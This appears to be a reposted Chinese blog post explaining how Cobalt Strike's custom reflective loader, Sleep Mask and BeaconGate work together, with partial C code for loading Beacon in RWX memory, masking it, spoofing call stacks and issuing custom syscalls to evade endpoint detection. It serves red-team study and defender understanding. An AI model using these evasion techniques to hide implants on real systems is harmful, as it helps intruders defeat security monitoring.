本文总结了如何将 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 结合满足调用堆栈欺骗

科技   2024-12-02 17:39   广东  

过去几天,我一直在研究 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 功能。我花了一些时间来了解这些功能之间的关系,因此这篇文章的目的是为那些研究 Beacon 的这些方面的人提供简明的概述,并希望为开发人员提供帮助。这些功能中的每一个都可以独立使用,为 Beacon 的不同部分带来自定义规避功能,但也许更有趣的是,它们也可以在某种程度上进行互操作。

用户定义的反射加载器

Beacon 只不过是一个需要加载到进程中才能运行的 Windows DLL。有多种方法可以做到这一点,但 Beacon 是根据 Stephen Fewer 的反射式 DLL 注入技术设计的。这是一个通过实现自己的 PE 加载器来加载自身的 DLL。该 DLL 导出一个名为ReflectiveLoader的函数,该函数在调用时会遍历自己的映像并将自身的新副本映射到内存中。它必须通过解析其导入表并执行重定位等来满足 DLL 的运行时要求。然后它找到并执行其入口点 DllMain,此时 Beacon 即可启动并运行。

反射加载器的行为可以通过 Malleable C2 来影响。例如,它所做的一件事stage.obfuscate是指示反射加载器将 Beacon 映射到内存中而不使用其标头。还有其他选项,例如stage.allocator,这会更改用于为 Beacon 分配新内存的 API;stage.magic_pe覆盖 Beacon 的 NT 标头中的 PE 字符标记;并stage.stomppe指示反射加载器在将 Beacon 映射到内存后踩踏MZ、PE和e_lfanew值。

用户定义的反射加载器 (UDRL) 允许操作员用自己的自定义实现替换 Beacon 的默认反射加载器。这使他们能够超越 Malleable C2 公开的自定义功能。想要使用 中不可用的分配 API stage.allocator?没问题。想要踩踏比stage.magic_mz允许的更多的字节?去做吧。

这是一个非常基本的 UDRL 的结构(为简洁起见,排除了大量代码)。

extern "C" {
#pragma code_seg(".text$a")
    ULONG_PTR __cdecl ReflectiveLoader() {
        // determine start address of loader
#ifdef _WIN64
        void* loaderStart = &ReflectiveLoader;
#elif _WIN32
        void* loaderStart = (char*)GetLocation() - 0xE;
#endif
        // determine base address of Beacon DLL
        ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();

        // parse NTHeaders
        PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;
        PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);

        // resolve the functions needed by the loader
        _PPEB pebAddress = GetPEBAddress();
        WINDOWSAPIS winApi = { 0 };
        if (!ResolveBaseLoaderFunctions(pebAddress, &winApi)) {
            return NULL;
        }

        // allocate memory for Beacon, yolo RWX
        ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (loadedDllBaseAddress == NULL) {
            return NULL;
        }

        // map sections
        if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress)) {
            return NULL;
        };

        // resolve Beacon's import table...
        ResolveImports(rawDllNtHeader, loadedDllBaseAddress, &winApi);

        // perform relocations...
        ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress);

        // calculate Beacon's entry point
        ULONG_PTR entryPoint = loadedDllBaseAddress + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;

        // flush instruction cache to avoid stale code being used
        winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);

        // call Beacon's entrypoints
        ((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
        ((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);

        // return address of entry point to caller
        return entryPoint;
    }
}

ReflectiveLoader.cpp

使用 UDRL 时需要注意的一点是,stage加载的 C2 配置文件块中定义的任何选项都将被忽略。这是设计使然,因为 UDRL 的理念是让开发人员掌握主动权。但是,在使用默认 Sleep Mask 时,这可能会造成混淆,因为它stage.userwx在屏蔽和取消屏蔽 Beacon 内存时会用作提示。例如,如果stage.userwx设置为true,但 UDRL 将内存分配为 R/RW/RX(根据每个部分的需要),Sleep Mask 将无法屏蔽 Beacon 的所有部分(使它们保持清晰),或者它会尝试屏蔽并崩溃,因为它不知道需要先使内存可写。

另外,还值得注意的是,此 UDRL 与 Beacon 的 fork & run post-ex 命令(execute-assembly、powerpick 等)使用的反射加载器不同。操作员可以编写自定义 post-ex UDRL 来替换默认的 UDRL(它们几乎完全相同)。但是,就像自定义 UDRL 忽略stageMalleable C2 块中的选项一样,自定义 post-ex UDRL 也会忽略该post-ex块中的选项。

定制睡眠

使用自定义 Sleep Mask 和 UDRL 时,内存分配问题可以完全缓解,因为 UDRL 实际上可以通过 Beacon 传递有关已分配给 Sleep Mask 的内存的信息。这不仅包括为 Beacon 的部分(.data、.text 等)分配的内存,还包括开发人员希望进行的任何自定义内存分配。

该数据是通过ALLOCATED_MEMORY_REGION结构提供的。

typedef struct _ALLOCATED_MEMORY_REGION {
    ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
    PVOID AllocationBase; // The base address of the allocated memory block
    SIZE_T RegionSize; // The size of the allocated memory block
    DWORD Type; // The type of memory allocated
    ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
    ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;

typedef struct {
    ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;

BeaconUserData.h

然后通过使用 '原因' 调用 DllMain 并将其传递给 Beacon DLL_BEACON_USER_DATA,然后再进行调用DLL_BEACON_START。

// pass Beacon User Data (BUD) to Beacon
((DLLMAIN)entryPoint)(0, DLL_BEACON_USER_DATA, &userData);

// call Beacon's entrypoints
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);

BeaconUserData.h

当 Beacon 准备睡眠时,执行将通过PSLEEPMASK_INFO结构传递给 Sleep Mask。

void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)

分配的内存数据在结构内部可用BEACON_INFO,可以根据需要循环和处理。

info->beacon_info.allocatedMemory.AllocatedMemoryRegions

系统调用

开发人员还可以将 Beacon 的默认系统调用解析器(我相信它基于 SysWhispers3(?))替换为其他完全不同的解析器(Hell's Gate、Halo's Gate、Tartarus' Gate、RecycledGate 等)。解析 UDRL 中的系统调用编号和函数指针,并填充SYSCALL_API和RTL_API结构。

typedef struct {
    SYSCALL_API_ENTRY ntAllocateVirtualMemory;
    SYSCALL_API_ENTRY ntProtectVirtualMemory;
    SYSCALL_API_ENTRY ntFreeVirtualMemory;
    SYSCALL_API_ENTRY ntGetContextThread;
    SYSCALL_API_ENTRY ntSetContextThread;
    SYSCALL_API_ENTRY ntResumeThread;
    SYSCALL_API_ENTRY ntCreateThreadEx;
    SYSCALL_API_ENTRY ntOpenProcess;
    SYSCALL_API_ENTRY ntOpenThread;
    SYSCALL_API_ENTRY ntClose;
    SYSCALL_API_ENTRY ntCreateSection;
    SYSCALL_API_ENTRY ntMapViewOfSection;
    SYSCALL_API_ENTRY ntUnmapViewOfSection;
    SYSCALL_API_ENTRY ntQueryVirtualMemory;
    SYSCALL_API_ENTRY ntDuplicateObject;
    SYSCALL_API_ENTRY ntReadVirtualMemory;
    SYSCALL_API_ENTRY ntWriteVirtualMemory;
    SYSCALL_API_ENTRY ntReadFile;
    SYSCALL_API_ENTRY ntWriteFile;
    SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, *PSYSCALL_API;

typedef struct {
   PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
   PVOID rtlFreeHeapAddr;
   PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;

BeaconUserData.h

DLL_BEACON_USER_DATA然后,这些将通过与上述相同的调用传递给 Beacon 。SYSCALL_API_ENTRY条目如下所示:
typedef struct
{

    PVOID fnAddr; // address of Nt* function
    PVOID jmpAddr; // syscall/FastSysCall/KiFastSystemCall instruction
    DWORD sysnum; // System Call number
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;

BeaconUserData.h

如果在 C2 配置文件中stage.syscall_method设置为,则使用 值。如果设置为,则使用和值。directfnAddrindirectjmpAddrsysnum

信标之门

BeaconGate 是一项功能,可指示 Beacon 通过自定义 Sleep Mask 代理支持的 API 调用。其背后的想法是,Sleep Mask 可以屏蔽 Beacon 的内存,设置任何其他规避功能(例如调用堆栈欺骗),进行 API 调用,取消屏蔽 Beacon,然后将结果传回给调用者。

如果配置文件中同时定义了syscall_method和beacon_gate,则 BeaconGate 将优先。在下面的示例中,只有 VirtualAlloc 将通过 BeaconGate 进行代理,而所有其他将使用间接系统调用。

stage {
  set syscall_method "indirect";
  beacon_gate {
    VirtualAlloc;
  }
}

但是,这并不是说您不能从 BeaconGate 进行系统调用(我们稍后会谈到这一点)。

当 API 调用代理到睡眠面罩时,相关数据将保存在FUNCTION_CALL结构中。

void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)

sleepmask.cpp

typedef struct {
    PVOID functionPtr; // function to call
    WinApi function; // enum representing target api
    int numOfArgs; // number of arguments
    ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; // array of pointers containing the passed arguments (e.g. rcx, rdx, ...)
    BOOL bMask; // indicates whether Beacon should be masked during the call
    ULONG_PTR retValue; // a pointer containing the return value
} FUNCTION_CALL, * PFUNCTION_CALL;

beacon_gate.h

处理这些调用的最佳位置可能是在BeaconGateWrapper函数中。使用 WinAPI 枚举检查正在调用哪个 API,并使用您想要的任何技术(VulcanRaven、SilentMoonwalk 等)执行适当的调用堆栈欺骗。如果您不需要(或不想)使用系统调用(例如,因为您在 UDRL 中执行了一些解除挂钩),只需在堆栈欺骗之后调用原始函数指针即可。

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    // mask beacon if needed
    if (functionCall->bMask == TRUE) {
        MaskBeacon(&info->beacon_info);
    }

    // call stack spoofing code for requested api
    if (functionCall->function == VIRTUALALLOC) {
        virtualAllocStackSpoof(functionCall->args);
    }

    // execute original function pointer
    BeaconGate(functionCall);

    // unmask beacon if needed
    if (functionCall->bMask == TRUE) {
        UnMaskBeacon(&info->beacon_info);
    }

    return;
}

gate.cpp

如果您确实想使用系统调用,则可以忽略原始函数指针,而只需执行自定义系统调用代码即可。通过使用BeaconGetSyscallInformationBOF API,BeaconGate 仍然可以从您在 UDRL 中执行的任何自定义系统调用解析中受益。这将返回一个PBEACON_SYSCALLS结构,其中包含您通过 BUD 提供的结构PSYSCALL_API。PRTL_API

typedef struct {
    PSYSCALL_API syscalls;
    PRTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;

需要注意的一点是,这些数据是从 Beacon 复制的,因此必须在 Beacon 被屏蔽之前执行。

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
  // get custom syscall info
  BEACON_SYSCALLS syscall_info;
  BeaconGetSyscallInformation(&syscall_info, TRUE);

  if (functionCall->bMask == TRUE) {
    MaskBeacon(&info->beacon_info);
  }
  
  ...
}

gate.cpp

然后,您可以继续并根据需要访问所调用 API 的 ssn、直接和间接跳转值。

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    // get custom syscall info
    BEACON_SYSCALLS syscall_info;
    BeaconGetSyscallInformation(&syscall_info, TRUE);

  // mask beacon if needed
  if (functionCall->bMask == TRUE) {
        MaskBeacon(&info->beacon_info);
    }

    if (functionCall->function == VIRTUALALLOC) {
        // setup a fake call stack
        virtualAllocStackSpoof(functionCall->args);
        
        // syscall
        prepSyscall(
            syscall_info.syscalls->ntAllocateVirtualMemory.sysnum,
            syscall_info.syscalls->ntAllocateVirtualMemory.jmpAddr);

        functionCall->retValue = doSyscall(functionCall->args);
    }

    // unmask beacon if needed
    if (functionCall->bMask == TRUE) {
        UnMaskBeacon(&info->beacon_info);
    }

    return;
}

BOF 系统调用 API

Beacon 还公开了一组特定的系统调用 API,例如 BeaconVirtualAlloc、BeaconVirtualProtect和,BeaconOpenProcess以用于 post-ex BOF。

当您调用这些函数时,将按照 Beacon 的配置执行。如果 Beacon 未配置为使用系统调用,则它们将作为常规 WinAPI 调用执行;如果配置为使用默认的直接/间接系统调用实现,则它们将按照 SysWhispers3(?) 执行;如果您从 UDRL 传入自定义系统调用数据,则它们将按照您的自定义解析方法执行;如果配置为使用 BeaconGate,则调用将代理到您的睡眠面罩。

对于使用这些通用 API 的 BOF,它可以让您不必在所有 post-ex BOF 之间重复相同的系统调用和/或调用堆栈欺骗代码。

结论

我认为这篇文章涵盖了我想强调的关于 UDRL、SleepMask 和 BeaconGate 的要点。如果它们看起来太可怕或太复杂,我希望它能提供一些解释。一旦你理解了它们,它们就不是太糟糕了。

随着 BeaconGate 的发展和普及,我预计开发团队会努力简化这些功能的某些方面。例如,当前的直接/间接系统调用可能会在当前状态下被弃用,移入 Sleep Mask 并默认通过 BeaconGate 代理。我们甚至可能会看到 SleepMask 和 BeaconGate 合并为一个名称。SleepGate?😅

另一个合乎逻辑的进展是让 BOF 开发人员能够通过 BeaconGate 代理任意 API 调用,而不仅仅是目前支持的约 20 个 API 调用。这将使 BOF 能够从 BeaconGate 的规避功能中受益,而无需 BOF 本身进行任何繁重的工作。


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章